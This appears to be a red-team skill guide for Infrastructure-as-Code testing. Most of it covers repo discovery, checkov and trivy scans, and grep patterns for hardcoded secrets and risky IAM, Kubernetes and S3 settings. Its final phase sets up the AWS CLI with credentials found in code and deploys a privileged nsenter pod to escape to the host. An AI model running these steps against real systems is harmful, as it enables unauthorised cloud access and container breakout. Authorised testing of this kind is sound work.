---
name: rt-iac-misconfig
description: "Infrastructure-as-Code (IaC) misconfiguration testing — Terraform, Kubernetes YAML, CloudFormation, Helm, Ansible, Docker Compose. Find hardcoded secrets, overprivileged IAM roles, public buckets, unencrypted storage, insecure network policies. Tools: checkov, tfsec, trivy, kube-score, semgrep. Critical for cloud and DevSecOps engagements. Docker: rtexit/kali:v3.0."
---

> 🐳 **Docker Environment (Recommended):** `docker exec -it rtexit-kali bash`

# rt-iac-misconfig — Infrastructure-as-Code Security Testing

## Overview

Modern infrastructure is defined as code — and that code has security vulnerabilities. IaC misconfigurations cause the majority of cloud breaches: publicly accessible S3 buckets, overprivileged IAM roles, and unencrypted databases are all defined in code before they become breaches.

**When to use:**
- Cloud engagement with access to IaC repositories
- DevSecOps assessment
- After gaining code repository access (GitHub recon → IaC files)
- Before testing cloud resources — understand how they're configured

---

## Phase 1: Find IaC Files in Target Repos

```bash
docker exec rtexit-kali bash -c "
# Search GitHub for IaC files
ORG=target-company
TOKEN=YOUR_GITHUB_TOKEN

# Terraform files
curl -s 'https://api.github.com/search/code?q=org:'\$ORG'+extension:tf+provider' \
  -H 'Authorization: token '\$TOKEN | \
  python3 -c 'import json,sys; [print(i[\"repository\"][\"full_name\"], i[\"path\"]) for i in json.load(sys.stdin).get(\"items\",[])]'

# CloudFormation
curl -s 'https://api.github.com/search/code?q=org:'\$ORG'+AWSTemplateFormatVersion' \
  -H 'Authorization: token '\$TOKEN | \
  python3 -c 'import json,sys; [print(i[\"repository\"][\"full_name\"], i[\"path\"]) for i in json.load(sys.stdin).get(\"items\",[])]'

# K8s manifests
curl -s 'https://api.github.com/search/code?q=org:'\$ORG'+apiVersion+kind:+Deployment+path:k8s' \
  -H 'Authorization: token '\$TOKEN | \
  python3 -c 'import json,sys; [print(i[\"repository\"][\"full_name\"], i[\"path\"]) for i in json.load(sys.stdin).get(\"items\",[])]'
"
```

---

## Phase 2: checkov — Comprehensive IaC Scanner

```bash
docker exec rtexit-kali bash -c "
# Clone target IaC repo
git clone https://github.com/target/infrastructure /tmp/infra/

# Scan Terraform
checkov -d /tmp/infra/terraform/ \
  --framework terraform \
  --output cli \
  --compact \
  2>/dev/null

# Scan Kubernetes manifests
checkov -d /tmp/infra/k8s/ \
  --framework kubernetes \
  --output json > /tmp/k8s_findings.json

# Scan CloudFormation
checkov -d /tmp/infra/cloudformation/ \
  --framework cloudformation \
  --output cli

# Scan everything
checkov -d /tmp/infra/ --output json > /tmp/checkov_all.json

# Extract HIGH severity findings
cat /tmp/checkov_all.json | python3 -c \"
import json, sys
r = json.load(sys.stdin)
for result in r.get('results', {}).get('failed_checks', []):
    print(f'[FAIL] {result[\\\"check_id\\\"]}: {result[\\\"check\\\"][\\\"name\\\"]}')
    print(f'  File: {result[\\\"repo_file_path\\\"]}:{result[\\\"file_line_range\\\"]}')
\"
"
```

---

## Phase 3: Hardcoded Secrets in IaC

```bash
docker exec rtexit-kali bash -c "
IaC_DIR=/tmp/infra

# gitleaks on IaC repo
gitleaks detect --source \$IaC_DIR --no-banner --report-format json \
  --report-path /tmp/iac_secrets.json 2>/dev/null

# trufflehog on cloned repo
trufflehog git file://\${IaC_DIR} --json 2>/dev/null | head -50

# Manual grep patterns
echo '=== AWS Keys in IaC ==='
grep -r 'AKIA[0-9A-Z]\{16\}' \$IaC_DIR --include='*.tf' --include='*.yaml' --include='*.yml' --include='*.json'

echo '=== Hardcoded passwords ==='
grep -rE '(password|secret|token)\s*=\s*\"[^\"]{6,}\"' \$IaC_DIR \
  --include='*.tf' --include='*.yaml' --include='*.yml'

echo '=== Database connection strings ==='
grep -rE 'jdbc:|mongodb\+srv:|postgresql://|mysql://' \$IaC_DIR \
  --include='*.tf' --include='*.yaml' --include='*.yml' --include='*.env'

echo '=== Private keys ==='
grep -r 'BEGIN.*PRIVATE KEY\|BEGIN RSA\|BEGIN EC' \$IaC_DIR -l
"
```

---

## Phase 4: Terraform — IAM & Security Issues

```bash
docker exec rtexit-kali bash -c "
IaC_DIR=/tmp/infra/terraform

echo '=== Overprivileged IAM policies ==='
grep -r '\"*\"\|Action.*\*\|Resource.*\*' \$IaC_DIR --include='*.tf' -A2

echo '=== Public S3 buckets ==='
grep -r 'acl.*=.*\"public\|block_public_acls.*false\|ignore_public_acls.*false' \$IaC_DIR --include='*.tf' -B2

echo '=== Unencrypted storage ==='
grep -r 'encrypted.*=.*false\|encryption.*=.*\"none\"' \$IaC_DIR --include='*.tf' -B2

echo '=== Security groups wide open ==='
grep -r 'cidr_blocks.*0\.0\.0\.0/0\|ipv6_cidr.*::/0' \$IaC_DIR --include='*.tf' -B5

echo '=== S3 versioning disabled ==='
grep -r 'versioning' \$IaC_DIR --include='*.tf' -A3 | grep -v 'enabled.*true'

echo '=== CloudTrail disabled ==='
grep -r 'enable_logging.*false\|is_multi_region_trail.*false' \$IaC_DIR --include='*.tf' -B2
"
```

---

## Phase 5: Kubernetes — RBAC & Pod Security

```bash
docker exec rtexit-kali bash -c "
K8S_DIR=/tmp/infra/k8s

echo '=== Privileged containers ==='
grep -r 'privileged: true' \$K8S_DIR --include='*.yaml' --include='*.yml' -B5

echo '=== hostNetwork / hostPID / hostIPC ==='
grep -r 'hostNetwork: true\|hostPID: true\|hostIPC: true' \$K8S_DIR --include='*.yaml' -B5

echo '=== runAsRoot ==='
grep -r 'runAsUser: 0\|runAsNonRoot: false' \$K8S_DIR --include='*.yaml' -B5

echo '=== AllowPrivilegeEscalation ==='
grep -r 'allowPrivilegeEscalation: true' \$K8S_DIR --include='*.yaml' -B5

echo '=== Hardcoded secrets in env vars ==='
grep -rE 'value: \"[A-Za-z0-9+/]{20,}\"' \$K8S_DIR --include='*.yaml' -B3

echo '=== RBAC * permissions ==='
grep -r 'verbs:.*\\\"\*\\\"\\|resources:.*\\\"\*\\\"' \$K8S_DIR --include='*.yaml' -B5

echo '=== Exposed NodePort/LoadBalancer ==='
grep -r 'type: NodePort\|type: LoadBalancer' \$K8S_DIR --include='*.yaml' -B10 | grep -E 'name:|type:|port:'
"
```

---

## Phase 6: trivy — IaC + Container Vulnerability Scan

```bash
docker exec rtexit-kali bash -c "
# Scan IaC directory
trivy config /tmp/infra/ \
  --format table \
  --exit-code 0 \
  --severity HIGH,CRITICAL

# Scan Dockerfile
trivy config /tmp/infra/Dockerfile

# Scan Helm chart
trivy config /tmp/infra/helm/

# Scan K8s manifests
trivy k8s --report summary /tmp/infra/k8s/
"
```

---

## Phase 7: Exploit Found Misconfigs

```bash
docker exec rtexit-kali bash -c "
# Example: Found public S3 bucket in Terraform
# → check if bucket is actually public
s3scanner scan --bucket target-company-backups

# Found AWS credentials in .tf file
# → use them
aws configure set aws_access_key_id FOUND_KEY
aws configure set aws_secret_access_key FOUND_SECRET
aws sts get-caller-identity
aws iam list-attached-user-policies --user-name \$(aws iam get-user | python3 -c 'import json,sys; print(json.load(sys.stdin)[\"User\"][\"UserName\"])')

# Found K8s config with privileged pod
# → deploy escape pod
kubectl apply -f - << 'EOF'
apiVersion: v1
kind: Pod
metadata:
  name: escape
spec:
  hostPID: true
  hostNetwork: true
  containers:
  - name: escape
    image: alpine
    command: ['nsenter', '--target', '1', '--mount', '--uts', '--ipc', '--net', '--pid', '--', 'bash']
    securityContext:
      privileged: true
EOF
"
```

---

## Related Skills
- `rt-exploit-cloud-aws` — exploit found AWS misconfigs
- `rt-kubernetes` — exploit K8s RBAC issues
- `rt-github-recon` — find IaC repos first
- `rt-supply-chain` — IaC pipeline security
- `rt-exploit-containers` — container escape after finding privileged pods

## References
- https://www.checkov.io/
- https://aquasecurity.github.io/trivy/
- https://attack.mitre.org/techniques/T1580/ — Cloud Infrastructure Discovery
